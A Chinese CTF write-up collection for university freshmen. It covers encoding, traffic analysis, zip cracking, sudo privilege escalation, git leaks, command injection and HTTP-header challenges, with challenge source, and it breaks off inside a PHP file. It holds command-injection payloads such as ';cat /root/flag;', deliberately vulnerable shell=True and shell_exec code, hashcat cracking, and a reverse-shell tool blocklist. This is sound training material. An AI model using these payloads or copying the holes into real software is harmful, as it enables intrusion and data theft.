面向大一和大二的新生赛题目

一个Crypto(编码)+ 五个Misc + 五个Web

Crypto

常见的编码方式

难度:⭐
Author:st4rry

了解 && 学习常见的编码方式,以及编码的特征.【这是签到题!】
flag格式为flag{}

知识点

了解很多的编码的构成和样子.

WriteUp

题目是一个Xmind的思维导图
Encoders
阅读完思维导图可以找到三部分被编码的flag片段,依次为

# part1: brainfuck
ZmxhZzE=
+++++++++[>++++++++++++<-]>++++.>++++++++[>++++++++++++<-]>+.>+++++++++[>+++++++++++++<-]>---.++.>++++++[>++++++++<-]>+.+++++++++.>+++++++++[>+++++++++++<-]>+++.++++++.>++++++++[>++++++++++++<-]>+.++++++.>++++++++++[>++++++++++++<-]>+++.>++++++++[>+++++++++++<-]>+.>+++++++++[>++++++++++++<-]>+++.++++++.>++++++++[>++++++++++++<-]>-.>++++++[>+++++++++<-]>--.>+++++++++[>+++++++++++++<-]>---.>+++++++[>+++++++<-]>++.>++++++++[>++++++++++++<-]>-.
解码: part1:flag{You_4r3_

# part2
MZWGCZZS566JU===
在维吉尼亚密码出发现key: password2:hack
watd2: z0_sokyt_
解码: part2: s0_smart_

# part3  二进制转字符串
 flag3: 011100000110000101110010011101000011001100111010001000000110011001101001011011100110010001011111011101000110100000110011010111110110011000110001011000010110011101111101
part3: find_th3_f1ag}

拼接起来得到最终的flag

flag{You_4r3_s0_smart_find_th3_f1ag}

Misc

隐秘的流量 - 网络通信分析挑战

分类: Misc | 流量分析 | ICMP协议
难度: ⭐⭐
Author: st4rry

在监控系统的定期检查中,安全团队捕获了一些可疑的网络流量。这些数据包的来源和去向不明,且频率异常高。经过初步分析,团队怀疑这些流量可能与数据泄露或恶意软件传播有关。为了确保网络的安全,团队需要你的帮助来分析这些流量。
flag格式为HUBUMARS{flag}

知识点

流量分析

WriteUp

使用WireShark打开流量包,在统计 -> 协议分级中得知有 TCP,UDP,ICMP三种主要的协议 (TCP、UDP没啥东西)
重点关注ICMP协议。
WireShark 过滤条件 icmp && icmp.type == 8【含义:icmp协议,类型8代表发送请求,参考:ICMP报文的格式和种类-腾讯云开发者社区-腾讯云)
注意到后面都有几个特殊的字符,提取出来
ICMP
手动提取,或者使用命令行

# 使用tshark 提取
└─🍀 tshark -r secret.pcapng -Y 'icmp &&  icmp.type == 8' -T fields -e "data.data" | xxd -p -r | base32 -d | base64 -d
HUBUMARS{1CMp_da7a_15_1n73R3571N9}

HUBUMARS{1CMp_da7a_15_1n73R3571N9}

命令解释:
-r: 读取文件,后面跟流量包文件名
-Y: 过滤的条件,这里是icmp的方法请求的流量包
-T:设置输出格式,如json,fields等
-e: 输出特定的字段
xxd -p -r:将十六进制转化为字符串

出题脚本

import scapy.all as scapy
from random import randint
from base64 import b64encode,b32encode
from time import sleep

def icmp_data():
    # flag 
    flag = 'HUBUMARS{1CMp_da7a_15_1n73R3571N9}'
    b64_b32_flag = b32encode(b64encode(flag.encode())).decode()
    fake_flag = 'flag{this_is_fake_flag}'
    b64_fake_flag = b64encode(fake_flag.encode()).decode()
    # 补足长度,和real flag一样长
    b64_fake_flag += 'ZmxhZ3t0aGlzX2lzX2Zha2VfZmxhZ30=ZmxhZ3t0aGlzX2lz'
    print(b64_b32_flag)
    print(b64_fake_flag )
    # send icmp packet
    # 随机发送数据包
    # for i in range(len(b64_b32_flag)):
    string1 = ''
    string2 = ''
    i,j = 0,0
    while i < len(b64_fake_flag) or j < len(b64_b32_flag):
        if i > 80:
            i = 80
        if j > 80:
            j = 80
        signed = randint(1,3)
        length = randint(1,4)
        if signed == 1:
            # 发送tcp数据包
            # print(b64_fake_flag[i:i+length])
            string1 += b64_fake_flag[i:i+length]
            scapy.send(scapy.IP(dst='172.22.162.226')/scapy.TCP()/b64_fake_flag[i:i+length])
            i += length
            sleep(0.2)
        elif signed == 2:
            # 发送udp数据包
            scapy.send(scapy.IP(dst='172.22.162.226')/scapy.UDP())
            # i += length
            sleep(0.2)
        else:
            # 发送icmp数据包
            string2 += b64_b32_flag[j:j+length]
            scapy.send(scapy.IP(dst='172.22.162.226')/scapy.ICMP()/b64_b32_flag[j:j+length])   
            j += length
            sleep(0.2)
    print('string1:', string1)
    print('string2:', string2)
            
if __name__ == '__main__':
    icmp_data()

真假二维码

分类: Misc | 压缩包破解 | 图片分离
难度:⭐⭐
Author:st4rry

题目描述

你是一名网络安全分析师,接到了一个紧急任务。需要你分析一个宝藏压缩包,你能找到其中藏有的宝藏(flag)吗?
flag格式为HUBUMARS{}

知识点

  • 压缩包破解(弱密码)
  • 图片分离

    WriteUp

    在解压软件中可以发现注释信息,密码为 8 为数字,爆破
    2024-11-04T05:04:29.png
    使用ARCHPR进行爆破,得到密码:20021013

解压获得一张图片 faker.png,是一个二维码,扫描得到一个fake flag: HUBUMARS{W0w_y0u_f0und_4_fake_flag}
接着对图片进行分析

$ binwalk faker.png
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 370 x 370, 1-bit grayscale, non-interlaced
41            0x29            Zlib compressed data, default compression
705           0x2C1           PNG image, 410 x 410, 8-bit/color RGB, non-interlaced
746           0x2EA           Zlib compressed data, default compression

可知图片中还包含一张图片,进行分离 (binwalk没有分离成功,foremost可以,或者使用010Editor进行手动分离)

$ foremost faker.png

2024-11-04T05:05:05.png
得到两张图片,其中反色的二维吗包含真正的flag,如果不能识别成功可以进行颜色翻转(调整颜色通道)

# linux命令进行颜色翻转
convert 00000001.png -negate 1.png

扫描得到 SFVCVU1BUlN7NzUxZGEwMzAtOTZiNS0xMWVmLTg5YTctMDAxNTVkODRlZjkwfQo=
base 64 解码得到 flag

HUBUMARS{751da030-96b5-11ef-89a7-00155d84ef90}

SpeedMath

分类: Misc | Socket
难度: ⭐⭐
Author: st4rry

在这个挑战中,隐藏着一个古老而神秘的秘密。传说中,只有最聪明和最敏捷的头脑才能解开这个谜题。如果你足够快,足够聪明,解决了所有问题,你将揭开宝藏的秘密——一个珍贵的FLAG。

知识点

  • Socket
  • Python脚本编写
  • Easy的正则

    WriteUp

    题目会给出两个数字,如A,B
    计算A的平方根 乘以 B的值,值为整数(记得取整)

    import socket
    import re
    import math
    
    def solve():
      ip = "xxxx"
      port = xxxxx
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect((ip, port))
      i = 0
      while True:
          i += 1
          data = s.recv(1024).decode()
          print(data)
          re.compile("[0-9]+")
          num = re.findall("[0-9]+", data)
          print(num)
          result = math.sqrt(int(num[0])) * int(num[1])
          print(round(result))
          s.send(str(round(result)).encode())
          data2 = s.recv(1024)
          print(i, data2)
    
    if __name__ == "__main__":
      solve()

题目源码

import logging
import socket
import random
import math
import time
import os

# 设置日志记录,将日志信息写入到log.txt文件中,日志级别为INFO
logging.basicConfig(
    filename="log.txt", level=logging.INFO, format="%(asctime)s %(message)s"
)


# 生成数学挑战的函数
def generate_challenge():
    # 随机生成两个数
    numbers = [random.randint(10, 1000), random.randint(1000, 10000)]
    # 创建挑战字符串
    challenge = (
        f"Calculate the square root of {numbers[0]} and multiply by {numbers[1]} = ?\n"
    )
    # 计算正确答案
    correct_answer = round(math.sqrt(numbers[0]) * numbers[1])
    return challenge, correct_answer


# 验证客户端回答的函数
def verify_answer(client_response, correct_answer, start_time):
    stop_time = time.time()
    # 如果客户端的回答是正确的,并且回答时间小于2秒,则返回True
    if client_response == str(correct_answer) and (stop_time - start_time) < 2:
        return True
    return False


# 处理客户端连接的函数
def handle_client(client_socket):
    num = 100
    # num = random.randint(50, 1000)
    # if num > 500:
    #     client_socket.send(f"[!] 你的运气太差了,需要计算{num}次".encode())
    # elif 200 < num < 500:
    #     client_socket.send(f"[!] 你的运气一般,需要计算{num}次".encode())
    # else:
    #     client_socket.send(f"[!] 你的运气不错,只需要计算{num}次".encode())
    # client_socket.recv(1024)  # 接收客户端的回答,防止客户端连接时发送数据
    flag = 0
    for _ in range(num):
        # 生成挑战和正确答案
        challenge, correct_answer = generate_challenge()
        try:
            # 向客户端发送挑战
            client_socket.send(challenge.encode())
        except BrokenPipeError:
            # 如果出现BrokenPipeError错误,记录错误信息并返回
            logging.error("BrokenPipeError: Disconnect...")
            return

        start_time = time.time()
        try:
            # 接收客户端的回答
            client_response = client_socket.recv(1024).decode().strip()
        except:
            # 如果接收回答时出现错误,向客户端发送错误信息并关闭连接
            response = "[!] Please only send int!\n"
            client_socket.send(response.encode())
            client_socket.close()
            return

        # 记录客户端的回答和正确答案
        logging.info(client_response)
        logging.info(correct_answer)

        # 验证客户端的回答
        if verify_answer(client_response, correct_answer, start_time):
            flag += 1
            response = f"[!] Correct!----{flag}----><------\n"
            time.sleep(0.5)
        else:
            # 如果回答错误或超时(2s),向客户端发送错误信息并关闭连接
            response = "[!] Please only send int!\n[!] Incorrect or too low!\n"
            try:
                client_socket.send(response.encode())
            except:  # 如果出现BrokenPipeError(客户端断开连接,服务端仍然发送)错误,记录错误信息并返回
                logging.error("2: BrokenPipeError: Disconnect...")
                return
            # client_socket.close()
            return

        # 如果所有的挑战都已经完成,向客户端发送完成信息并关闭连接
        if flag == num:
            # 获取环境变量中的flag
            # flag = os.environ.get("FLAG")
            real_flag = os.environ.get("GZCTF_FLAG")
            response = f"[!] Congratulations! You solved the challenge!\n{real_flag}\n"
            # response = f"[!] Congratulations! You solved the challenge!\n{flag}\n"
            client_socket.send(response.encode())
            client_socket.close()
            return
        client_socket.send(
            response.encode()
        )  # 发送[!] Correct!----{flag}----><------给客户端

    client_socket.send("[!] Challenge completed. Goodbye!".encode())
    client_socket.close()


# 启动服务器的函数
def start_server():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
        # 绑定到0.0.0.0的8081端口,并开始监听
        server.bind(("0.0.0.0", 8080))
        server.listen(512)
        logging.info("Server is listening on port 8080...")

        while True:
            # 接受新的客户端连接
            client_socket, addr = server.accept()
            logging.info(f"Accepted connection from {addr}")

            # 处理客户端连接
            handle_client(client_socket)

            logging.info("-------" * 10)


# 如果这个脚本是直接运行的,而不是被导入的,那么启动服务器
if __name__ == "__main__":
    print(os.environ.get("FLAG"))
    start_server()

行测-类比推理

分类: Misc | Hash爆破 | 考公圣体~~
难度: ⭐⭐⭐

听说,宇宙的尽头是编制
某人被类比推理的题目折磨后决定让其他人也感受考公的乐趣一下。(x)

编制通常是指国家机关、事业单位或企业等单位正式员工所具有的一种身份属性,通常与工作稳定、福利待遇较好等特征相关联。

知识点

行测-类比推理(X)
hash爆破

Writeup

nc ip port 连接

$ nc challenge.hubuctf.cn 30106

  ______        ____   __  _____         _
 / ___\ \      / /\ \ / / |_   _|__  ___| |_
| |  _ \ \ /\ / /  \ V /____| |/ _ \/ __| __|
| |_| | \ V  V /    | |_____| |  __/\__ \ |_
 \____|  \_/\_/     |_|     |_|\___||___/\__| --行测-类比推理

 🫡🫡🫡2024-12-1 国考 - 考前演练🫡🫡🫡

 🥳🥳🥳Notice: Please Use Linux Shell!!!🥳🥳🥳

 🌻Question 1: 聊斋志异:马骥

A.三国演义:诸葛亮
B.平凡的世界:孙少平
C.源氏物语:紫式部
D.红楼梦:贾宝玉
Your answer:

随便输入

Okay,Next Question
🤗🤗🤗抱歉,你的答案并不是完全正确🤗🤗🤗
🤪🤪🤪你的正确率为:0.4166666666666667 ,再接再厉🤪🤪🤪
🥰🥰🥰Hint: 正确密码的Hash-sha256为0d0a8f1dd81ca2d61534dd23f1debb0c861e4738d05c7f548c55e5df72d4f023🥰🥰🥰
上面hash为你的所有答案的hash值hash('CABD')

获得一串hash: 0d0a8f1dd81ca2d61534dd23f1debb0c861e4738d05c7f548c55e5df72d4f023
写个脚本跑一下

from itertools import product  
from hashlib import sha256  
  
  
options = "ABCD"  
right_hash = '0d0a8f1dd81ca2d61534dd23f1debb0c861e4738d05c7f548c55e5df72d4f023'  
for i in product(options,repeat=12):  
    # print(''.join(i))  
    # break    tmp = ''.join(i)  
    if sha256(tmp.encode()).hexdigest() == right_hash:  
        print(tmp)

运行结果: DBCDDCCAADCB,这就是选择题的答案,依次输入

🎊🎊🎊Congratulations🎊🎊🎊
🥇🥇🥇你就是考公圣体!!!🎇🎇🎇
💯💯💯HUBUCTF{592cac3d-4bfe-432b-b865-aebdbc0b624a}💯💯💯

题目源码

import hashlib  
import logging  
import socket  
import threading  
import time  
  
slogn = """  
  ______        ____   __  _____         _ / ___\ \      / /\ \ / / |_   _|__  ___| |_| |  _ \ \ /\ / /  \ V /____| |/ _ \/ __| __|  
| |_| | \ V  V /    | |_____| |  __/\__ \ |_  
 \____|  \_/\_/     |_|     |_|\___||___/\__| --行测-类比推理  
 \n 🫡🫡🫡2024-12-1 国考 - 考前演练🫡🫡🫡 \n  
 🥳🥳🥳Notice: Please Use Linux Shell!!!🥳🥳🥳 \n  
 """questions = [  
    ("聊斋志异:马骥", ["A.三国演义:诸葛亮", "B.平凡的世界:孙少平", "C.源氏物语:紫式部", "D.红楼梦:贾宝玉"], "D"),  
    # 27.6%  
    ("好感:喜欢:热爱", ["A.伤心:悲伤:悲哀", "B.不安:紧张:焦躁", "C.不悦:反感:厌恶", "D.高兴:愉快:喜悦"], "B"),  
    # 24.5%  
    (  
        "蝉噪林逾静 对于 ()相当于 () 对于 满架蔷薇一院香",  
        ["A.菊花从此不须开 谷鸟吟晴日", "B.蒌蒿满地芦芽短 雁行遥上月", "C.石榴开遍透帘明 卢橘垂金弹",  
         "D.千里莺啼绿映红 燕草如碧丝"], "C"),  # 27.9%  
    ("乱闯红灯:交通违章:行政罚款",  
     ["A.打架斗殴:扰乱秩序:毁坏公物", "B.经济过热:通货膨胀:货币贬值", "C.市场经济:市场失灵:国家干预",  
      "D.行政垄断:地方保护:法律规制"], "D"),  # 24.5%  
    ("跳远:三级跳远:田赛", ["A.桌子:餐桌:家具", "B.游泳:自行车:长跑", "C.电视:冰箱:家电", "D.竞走:马拉松:径赛"],  
     "D"),  # 27.5%  
    ("三心:两意", ["A.五脏:六腑", "B.朝令:夕改", "C.惊世:骇俗", "D.信誓:旦旦"], "C"),  # 29.7%  
    ("汉文帝:刘恒:文景之治",  
     ["A.宋太祖:赵匡胤:杯酒释兵权", "B.唐太宗:李世民:贞观之治", "C.清圣祖:爱新觉罗·玄烨:康乾盛世",  
      "D.秦始皇:嬴政:焚书坑儒"], "C"),  # 26.8%  
    ("苏轼:春江水暖鸭先知",  
     ["A.李煜:自是人生长恨水长东", "B.刘禹锡:江春入旧年", "C.李商隐:照影摘花花似面", "D.晏殊:那人却在灯火阑珊处"], "A"),  
    # 28.7%  
    ("() 对于 明辨是非 相当于 清正廉洁 对于 ()",  
     ["A.公正公平;树立威信", "B.独立思考;风清气正", "C.热爱真理;口碑声望", "D.修身养性;政治生态"], "A"),  # 24.6%  
    (  
        "讷言敏行:《论语》", ["A.草木皆兵:《三国演义》", "B.运筹帷幄:《左传》", "C.食言而肥:《史记》", "D.饮鸩止渴:《后汉书》"],  
        "D"),  # 26.9%  
    ("天下雨:地上湿", ["A.满18岁:有选举权", "B.开花:结果", "C.地上不湿:天没下雨", "D.摩擦:生热"], "C"),  # 22.9  
    ("荷兰:日本", ["A.中国:印度", "B.德国:英国", "C.美国:加拿大", "D.瑞典:西班牙"], "B"),  # 29.8  
]  
  
# 配置日志记录,记录错误信息  
logging.basicConfig(level=logging.INFO, format="%(asctime)s - %(levelname)s - %(message)s", filename="log.log")  
  
answer = "DBCDDCCAADCB"  
answer_sha256 = "0d0a8f1dd81ca2d61534dd23f1debb0c861e4738d05c7f548c55e5df72d4f023"  
  
  
# print(hashlib.sha256(answer.encode('utf-8')).hexdigest())  
  
  
def handle_client(client_socket, addr):  
    """  
    处理客户端的连接  
    :param client_socket:    :param addr:    :return:  
    """    try:  
        logging.info(f"New connect from {addr}")  
        score = 0  
        your_answers = ""  
        global result  
        # 发送题目介绍  
        client_socket.send(slogn.encode( ))  
        time.sleep(1)  
        # 发送问题  
        for idx, (question, options, correct_answer) in enumerate(questions):  
            question_text = f"🌻Question {idx + 1}: {question}\n"  
            options_text = "\n".join(options)  
            prompt = f"{question_text}\n{options_text}\nYour answer: "  
            client_socket.send(prompt.encode('utf-8'))  
  
            # 接收客户端的答案  
            # 循环直到客户端输入有效选项 A, B, C, D            while True:  
                try:  
                    your_answer = client_socket.recv(1024).decode().strip().upper()  
                    if your_answer not in ['A', 'B', 'C', 'D']:  
                        client_socket.send("Invalid input. Please choose A, B, C, or D.\n".encode('utf-8'))  
                    else:  
                        break  # 有效输入,跳出循环  
                except Exception as e:  
                    logging.error(f"Error receiving data from {addr}: {e}")  
                    client_socket.send("Error receiving your answer. Connection closed.\n".encode('utf-8'))  
                    client_socket.close()  
                    return  
  
            your_answers += your_answer  
  
            # 检查答案是否正确  
            if your_answer == correct_answer:  
                score += 1  
                client_socket.send("Okay,Next Question\n".encode('utf-8'))  
            else:  
                client_socket.send("Okay,Next Question\n".encode('utf-8'))  
  
        # 计算用户输入的答案的hash  
        your_answers_hash = hashlib.sha256(your_answers.encode('utf-8')).hexdigest()  
        if your_answers_hash == answer_sha256:  
            result = "🎊🎊🎊Congratulations🎊🎊🎊\n"  
            result += "🥇🥇🥇你就是考公圣体!!!🎇🎇🎇\n"  
            flag = "💯💯💯flag{99bd86a0-a16c-11ef-90a8-00155d027af0}💯💯💯\n"  
            result += flag  
        else:  
            result = "🤗🤗🤗抱歉,你的答案并不是完全正确🤗🤗🤗\n"  
            result += f"🤪🤪🤪你的正确率为:{score} / {len(questions)} ,再接再厉\n🤪🤪🤪"  
            result += f'🥰🥰🥰Hint: 正确密码的Hash-sha256为{answer_sha256}\n'  
  
        # 发送最终的结果  
        client_socket.send(result.encode('utf-8'))  
    except Exception as e:  
        logging.error(f"Error while handling client {addr}: {e}")  
        try:  
            client_socket.send("发生了一个错误")  
        except:  
            pass  
    finally:  
        # 确保客户端连接正常关闭  
        try:  
            client_socket.close()  
        except:  
            pass  
  
  
# 服务器端函数  
def challenges_server():  
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    server.bind(("0.0.0.0", 8080))  
    server.listen(200)  
    print("Start Running")  
  
    while True:  
        # 接受客户端的连接  
        client_socket, addr = server.accept()  
        # 为每个连接创建 新线程  
        threading.Thread(target=handle_client, args=(client_socket, addr)).start()  
  
  
if __name__ == "__main__":  
    challenges_server()

Get Root or Get Lost

分类: Misc | 提权
难度: ⭐⭐⭐⭐
Author: st4rry

题目情景:略
使用ssh连接,读取root目录下的flag😉
用户名:hubumars
密码:hubumars

知识点

  • Python 代码ez审计
  • Linux 命令 拼接

Writeup

ssh连接后
提权,sudo -l 起手

$ sudo -l
User hubumars may run the following commands on privesc-gz-01jdk0yezpd35xej6112sgekap:
    (ALL) NOPASSWD: /usr/local/bin/python3 /opt/game.py

可以以sudo命令执行 /opt/game.py,该文件不可读

$ cat /opt/game.py
cat: can't open '/opt/game.py': Permission denied

但是在hubumars的家目录下有一个备份文件 game.bak

$ ls
game.bak
$ ls -l
-rwxrwxrwx    1 hubumars hubumars      2135 Nov 25 11:27 game.bak

game.bak的源码

# -*- coding: utf-8 -*-
import random
import subprocess


def play_game():
    choices = ["石头", "剪刀", "布"]
    print("欢迎来到猜拳游戏!")
    print("输入你的选择:")
    print("1. 石头")
    print("2. 剪刀")
    print("3. 布")
    print("输入 0 退出游戏")

    player = input("请输入你的名字:")
    while True:
        try:
            # global user_choice
            user_choice = int(input("你的选择:"))
            if user_choice == 0:
                print("游戏结束!")
                break
            if user_choice not in [1, 2, 3]:
                print("无效输入,请选择 1, 2, 3 或 0 退出游戏。")
                continue

            user_move = choices[user_choice - 1]
            computer_move = random.choice(choices)

            print(f"你选择了:{user_move}")
            print(f"电脑选择了:{computer_move}")

            if user_move == computer_move:
                print("平局!")
            elif (
                (user_move == "石头" and computer_move == "剪刀")
                or (user_move == "剪刀" and computer_move == "布")
                or (user_move == "布" and computer_move == "石头")
            ):
                print("你赢了!载入史册")
                winner = (
                    "echo 用户 【%s】 你战胜利计算机!载入史册 >> shice.txt " % player
                )
                subprocess.Popen(winner, shell=True)

            else:
                print("你输了!")

        except ValueError:
            print("无效输入,请输入数字。")
            user_choice = "无效输入"
            message = "echo 警报警报,检测%s 恶意输入 %s >> warning.txt " % (
                player,
                user_choice,
            )
            print(message)
            with open("warning.txt", "a") as file:
                process = subprocess.Popen(
                    ["echo", message], stdout=file  # 将标准输出重定向到文件
                )
                process.communicate()


if __name__ == "__main__":
    play_game()

分析,定位到漏洞点

winner = (
    "echo 用户 【%s】 你战胜利计算机!载入史册 >> shice.txt " % player
)
subprocess.Popen(winner, shell=True)

设置了shell=True可能被命令拼接(linux的特性,命令拼接)

例如在linux下执行echo 1;pwd;whoami,就相当于依次执行了echo 1pwdwhoami

使用sudo运行/opt/game.py

$ sudo /usr/local/bin/python3 /opt/game.py
欢迎来到猜拳游戏!
输入你的选择:
1. 石头
2. 剪刀
3. 布
输入 0 退出游戏
请输入你的名字:;whoami;
<SNIP>输了好多次,只有赢了才会被记录,到达漏洞点<SNIP>
你的选择:2
你选择了:剪刀
电脑选择了:布
你赢了!载入史册
root
/bin/sh: 】: not found

按照上述方法就可以读取到flag.
先使用find命令找一下flag的位置

请输入你的名字:;find / -name "*flag*" 2>/dev/null;
<SNIP>....<SNIP>
/root/flag

然后读取root目录下的flag即可

请输入你的名字:;cat /root/flag;
HUBUCTF{....}

Web

Robots Leak

分类: Web | Robots协议 | Git 泄露
难度: ⭐⭐
Author: st4rry

机器人不小心泄露了一些敏感信息,你能找到其中的秘密(flag)吗?

知识点

  • Robots 协议
  • Git 泄露 Git Log
  • Git Stash

WriteUp

访问 robots.txt 得知有目录.git
使用git-dumper进行利用

$ git-dumper url dir
$ cd dir

在dir目录下

$ git log
重点关注
commit 5d03e0c5589416a958392ad483f7df7a2c506382
Author: k-0-i <jzcheng3@gmail.com>
Date:   Mon Oct 28 03:05:51 2024 +0000

    Add flag part 1

然后查看该commit,获得第一段flag

$ git show 5d03e0c5589416a958392ad483f7df7a2c506382
commit 5d03e0c5589416a958392ad483f7df7a2c506382
Author: k-0-i <jzcheng3@gmail.com>
Date:   Mon Oct 28 03:05:51 2024 +0000

    Add flag part 1

diff --git a/flag1 b/flag1
new file mode 100644
index 0000000..373f1ad
--- /dev/null
+++ b/flag1
@@ -0,0 +1 @@
+part1: HUBUMAR{4a956bb8

接着使用git stash

git stash list
stash@{0}: On master: Test ^_^
stash@{1}: On master: Hide flag part 2

stash@{1}存在 flag

$ git stash pop --index 1
On branch master
Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
        new file:   .flag.exe
        new file:   flag.txt

Dropped refs/stash@{1} (6a9f6961edcd9cb7727393b3aa9160b97ce13cf7)

第二部分 flag 在 .flag.exe 中

出题脚本

网站源码app.py

import flask
import os
from flask import send_from_directory, abort

app = flask.Flask(__name__)


@app.route("/")
def index():
    return "Enjoy your CTF challenges!"


@app.route("/robots.txt")
def robots():
    return "User-agent: *\nDisallow: /.git"


@app.route("/.git/<path:filename>")
def git_directory(filename):
    git_dir = os.path.join(os.getcwd(), ".git")
    if os.path.isfile(os.path.join(git_dir, filename)):
        return send_from_directory(git_dir, filename)
    else:
        abort(404)  # File not found


if __name__ == "__main__":
    app.run(host="0.0.0.0")

出题脚本

#!/bin/sh

# export FLAG=HUBUMAR{4a956bb8-946c-11ef-8cf5-00155d84e62e}
export FLAG=$GZCTF_FLAG
# 在/app目录下创建一个名为.git的文件夹
cd /app
# 初始化git仓库
git init

# 创建一个名为flags的文件夹
mkdir flags
# 在flags文件夹下创建一个名为flag的文件
echo "flag{this_is_a_fake_flag}" >flags/fake_flag

# 配置git仓库的用户名和邮箱
git config --global user.email "jzcheng3@gmail.com"
git config --global user.name "k-0-i"
# 将flags文件夹添加到git仓库中
git add .
# 提交git仓库
git commit -m "init"
# 删除flags文件夹
rm -rf flags
# 将/app目录下的所有文件添加到git仓库中
git add .
# 提交git仓库
git commit -m "Remove Flag(X)"
# 第一部分flag 和 第二部分flag
flag_part1=$(echo $FLAG | cut -c 1-16)
flag_part2=$(echo $FLAG | cut -c 17-)
echo "part1:" "$flag_part1" >flag1
# 添加
git add .
# 提交
git commit -m "Add flag part 1"
# 删除
rm -f flag1
# flag is where
echo "Where is the flag?" >where_is_the_flag
# 添加
git add .
# 提交
git commit -m "Can u help me?!"
# 删除
rm -f where_is_the_flag
# 添加
git add .
# 提交
git commit -m "^_^   ^_^"
echo "flag is where" >where_is_the_flag.txt
# 添加
git add .
# 提交
git commit -m "Please help me!"
# 删除
rm -f where_is_the_flag.txt
# 添加
git add .
# 提交
git commit -m "^_^   ^_^ ~_~ ~_~"
# 使用git stash 隐藏第二部分flag
echo "part2:" "$flag_part2" >.flag.exe
echo "fake_flag{fake_flag}" >flag.txt
# 添加
git add .
# git stash
git stash save "Hide flag part 2"

echo "This_is_a_test" >test.txt
git add .
git stash save "Test  ^_^"

echo "OKay~ Enjoy it!" >game.txt
git add .
git commit -m "Game Start!"
rm -f game.txt
git add .
git commit -m "Game Over!"

rm -rf /tmp/files

unset FLAG
unset GZCTF_FLAG
python app.py

RCE - Level 2

分类: Web | RCE
难度: ⭐⭐⭐
Author: St4rry

小 S 发现这个网站存在命令执行漏洞,但是似乎没有回显,你能帮助小 S 找到 flag 吗?

知识点

  • 命令执行
  • 无回显

WriteUp

首先访问网站,是一个登陆界面
重点关注网页前端源码的js文件

    <script src="./static/script.js"></script>

访问后看到源码包含用户名和密码的hash

; document.getElementById('loginForm').addEventListener('submit', function (event) { event.preventDefault(); const username = document.getElementById('username').value; const password = document.getElementById('password').value; const validUsernameBase64 = 'aHVidW1hcnM='; const validPasswordHash = 'ef92b778bafe771e89245b89ecbc08a44a4e166c06659911881f383d4473e94f'; const usernameBase64 = btoa(username); const passwordHash = CryptoJS.SHA256(password).toString(); console.log(usernameBase64, passwordHash); if (usernameBase64 === validUsernameBase64 && passwordHash === validPasswordHash) { alert('Login successful!'); window.location.href = "./cmd.php" } else { document.getElementById('errorMessage').style.display = 'block' } });;

用户名被base64编码了aHVidW1hcnM=, (解码后是hubumars)
密码是sha256: ef92b778bafe771e89245b89ecbc08a44a4e166c06659911881f383d4473e94f,可以进行暴力破解

hashcat -a 0 -m 1400 hash /usr/share/wordlists/rockyou.txt
=>可以破解出来: password123

其实不用登录也行,注意到js源码中重定向到./cmd.php,直接访问即可
进入后是一个ping 界面,最基础的命令执行了(但是不会回显运行结果)
2024-11-14T10:07:21.png
2024-11-14T10:07:32.png
命令执行常规做法:命令拼接
2024-11-14T10:07:43.png
可见,分号没有被过滤(其实几乎没做啥过滤),不回显的做法

  1. 将运行结果写入到网站的文件里。
  2. 写马
  3. 进行数据外带,如dnslog,curl等都可以
    这里主要用第一种方法
    经过测试,发现static/script.js是可以写入的
    在输入框中输入 127.0.0.1;ls >> static/script.js,页面显示执行成功后查看js文件,可以看到执行的结果
    在根目录下找到flag文件f1ag_1s_h3r3127.0.0.1;ls / >> static/script.js)
    继续读取flag ,执行127.0.0.1;cat /f1ag_1s_h3r3 >> static/script.js

    需要注意,每隔1分钟,script.js文件会被重置,需要及时查看,如果没有就重复执行
    2024-11-14T10:08:27.png

    题目的主要代码

    <?php
    if ($_SERVER["REQUEST_METHOD"] == "POST") {
     $address = $_POST["address"];
     echo "<h2>Ping Results for $address:</h2>";
     // Execute the ping command and check the return status
     $output = shell_exec("ping -c 2 $address");
     if (preg_match("/bash|sh|python|nc|php|perl/i", $address)) {
         die("休想反弹shell");
     }
     
     if ($output) {
         echo "<p>执行成功</p>";
     } else {
         echo "<p>执行失败</p>";
     }
    }
    ?>

ez-http

分类: Web | HTTP 协议
难度: ⭐
Author: St4rry

一些简单的 http 协议的请求你知道吗?

知识点

常见的 http 请求头

Wirteup

GET 请求: ?name=YourName
Post 请求: age=YourAge
浏览器: User-Agent:HUBUMARS
来自: Referer:https://hubumars.com/
要求是hubumars的成员才能访问,即 Cookie
Cookie: Cookie:HUBUMARS=True
伪造 IP: X-Forwarded-For行不通,试试其他的, Client-IP:11.45.1.4
然后重定向

$ curl http://challenge.hubuctf.cn:30635/?name=jzc -XPOST -d "age=18" -A "HUBUMARS" -e 'http://hubumars.com/' -b "HUBUMARS=True" -H "Client-IP:11.45.1.4"
<script>window.location.href = './n3wp493.php';</script>


# 如果浏览器访问
什么东西一闪而过,你看到了什么?  
是Flag吗?

$ curl http://challenge.hubuctf.cn:30635/n3wp493.php
<body>
    恭喜你,发现Flag:HUBUCTF{e260d4b5-549f-4700-b2a3-d09ce5ad20d0}
</body>

题目源码

index.php

<?php
# 初始化设置一个Cookie,HUBUMARS=False
setcookie("HUBUMARS", "False");
include_once("fl4g.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>湖北大学网络空间安全协会招新</title>
</head>
<body>
<?php

if (isset($_GET['name'])) {
    echo "你的名字是:" . $_GET['name']."<br>";
} else {
    die("使用GET方法传递参数name,值为你的名字");
    // echo "<br>";
}

if (isset($_POST['age'])) {
    echo "你的年龄是:" . $_POST['age']."<br>";
} else {
    die("使用POST方法传递参数age,值为你的年龄");
    // echo "<br>";
}

if (isset($_SERVER['HTTP_USER_AGENT']) && $_SERVER['HTTP_USER_AGENT'] == "HUBUMARS") {
    echo "你的浏览器是:" . $_SERVER['HTTP_USER_AGENT']."<br>";
    // echo $flag;
} else {
    die("需要你使用HUBUMARS专属的浏览器进行访问</br>你现在使用的浏览器是:" . $_SERVER['HTTP_USER_AGENT']);
}

if (isset($_SERVER['HTTP_REFERER']) && $_SERVER['HTTP_REFERER'] == "http://hubumars.com/") {
    echo "你的来源是:" . $_SERVER['HTTP_REFERER']."<br>";
    // echo $flag;
} else {
